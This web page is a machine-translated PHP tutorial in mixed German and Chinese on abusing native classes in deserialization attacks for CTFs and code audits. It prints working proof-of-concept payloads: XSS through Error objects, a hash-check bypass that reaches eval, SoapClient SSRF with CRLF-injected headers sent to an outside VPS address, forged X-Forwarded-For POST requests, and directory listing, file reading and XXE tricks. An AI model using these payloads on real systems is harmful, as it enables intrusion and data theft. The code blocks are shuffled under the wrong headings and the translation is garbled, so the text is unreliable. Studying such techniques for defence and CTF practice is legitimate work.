Heim >Backend-Entwicklung >PHP-Tutorial >Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

WBOY
WBOYnach vorne
2022-05-17 11:56:516943Durchsuche

Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP, in dem hauptsächlich die Verwendung deserialisierter nativer Klassen vorgestellt wird. Wenn es eine Deserialisierungsfunktion in Code Audit oder CTF gibt, diese jedoch nicht erstellt werden kann. Wie sollte dies geschehen? Lassen Sie uns einen Blick darauf werfen. Ich hoffe, es wird für alle hilfreich sein.

Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

Empfohlene Studie: „PHP-Video-Tutorial

Eine kurze Analyse der Verwendung nativer PHP-Deserialisierungsklassen

Wenn es einen Deserialisierungsfunktionspunkt in Code Audit oder CTF gibt, dieser jedoch nicht vollständig erstellt werden kann Kette, wie sollen wir die Situation zu diesem Zeitpunkt durchbrechen? Wir können versuchen, mit nativen PHP-Klassen zu beginnen. Einige native PHP-Klassen verfügen über einige integrierte magische Methoden. Wenn wir geschickt steuerbare Parameter konstruieren, ihre integrierten magischen Methoden auslösen und verwenden, ist es möglich, einige der von uns gewünschten Ziele zu erreichen .

1. Gängige magische Methoden

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

2. Magische Methoden in nativen Klassen

Wir verwenden das folgende Skript, um die magischen Methoden in allen nativen Klassen zu durchlaufen

3 Error/Exception

Error

ist die Basisklasse für alle PHP-internen Fehlerklassen. (PHP 7, 8)**Error::__toString ** Die String-Darstellung von error

Gibt die String-Darstellung von Error zurück.

Exception

ist die Basisklasse für alle Ausnahmen auf Benutzerebene. (PHP 5, 7, 8)**Exception::__toString ** Konvertieren Sie das Ausnahmeobjekt in einen String

Gibt die in den String-Typ (String) konvertierte Ausnahme zurück.

Klassenattribut

    Nachricht Inhalt der Fehlermeldung
  • Code Fehlercode
  • Datei löst falschen Dateinamen aus
  • Zeile löst falsche Zeilennummer aus
XSS
Der __toString Die Methode gibt die Zeichenfolgenform eines Fehlers oder einer Ausnahme zurück, die die von uns eingegebenen Parameter enthält und diese mit Echo-Rendering kombiniert, wird die reflektierte XSS-Sicherheitslücke ausgelöst. Beispiel:
<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}

POC :

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

Hash-BypassVertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

Schauen wir uns zuerst eine Frage an
[2020 Geek Challenge] Greatphp

<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);

Muss zwei Hash-starke Vergleiche umgehen und letztendlich einen Evaluierungscode dafür erstellen Ausführung Offensichtlich normal Die Methode funktioniert nicht, kann aber durch native Klassen umgangen werden

In ähnlicher Weise wird die __tostring-Methode automatisch aufgerufen, wenn die Funktionen md5() und sha1() Objekte verarbeiten.

Werfen wir einen kurzen Blick darauf Es kann festgestellt werden, dass die von diesen beiden nativen Klassen zurückgegebenen Informationen bis auf die Zeilennummer genau gleich sind. Damit können wir versuchen, die Hash-Funktion zu umgehen Zwei eingehende Objekte müssen in derselben Zeile platziert werden

Daher können wir einen einfachen Test durchführen und feststellen, dass die Verwendung dieser Methode den Vergleich starker (schwacher) Hash-Funktionen umgehen kann

<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }}if (isset($_GET['great'])){
    unserialize($_GET['great']);} else {
    highlight_file(__FILE__);}

Vertiefte Kenntnisse der PHP-Deserialisierung nativer KlassenAnhand dieser Wissenspunkte können wir dies problemlos tun Konstruieren Sie die Nutzlast. SoapClient. Das Soap-Erweiterungsmodul ist standardmäßig geschlossen und muss bei Verwendung manuell aktiviert werden. SoapClient::__call

– Rufen Sie eine SOAP-Funktion auf (PHP 5, 7, 8)

Normalerweise kann eine SOAP-Funktion als Methode aufgerufen werden des SoapClient-Objekts

SSRFVertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

Konstruktor:

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;

Was ist Soap? Hören Sie sich den 2333-Port des VPS an, der SSRF erfolgreich ausgelöst hat. Sowohl SOAPAction als auch user_agent sind steuerbar Es wurde festgestellt, dass bei Verwendung dieser integrierten Klasse (d. h. Soap-Protokoll) zum Anfordern eines Ports, an dem ein Dienst vorhanden ist, sofort ein Fehler gemeldet wird und beim Zugriff auf einen Port, an dem der Dienst nicht vorhanden (nicht belegt) ist, darauf gewartet wird einen Zeitraum, um einen Fehler zu melden, und Sie können diesen zur Erkennung von Intranet-Assets verwenden.

Wenn Sie mit der CRLF-Schwachstelle kooperieren, können Sie mit SoapClient auch andere Parameter steuern oder Daten per Post versenden. Zum Beispiel: HTTP-Protokoll zum Angriff auf Redis. CRLF-Wissenserweiterung

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

看一道ctfshow上的题,完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

目录遍历

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/

如果没有遍历的话只能读取第一行,且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数:

Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

利用可参考赛题:[SUCTF 2018]Homework

ReflectionMethod

获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

Vertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen

同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述

推荐学习:《PHP视频教程

Das obige ist der detaillierte Inhalt vonVertiefte Kenntnisse der PHP-Deserialisierung nativer Klassen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen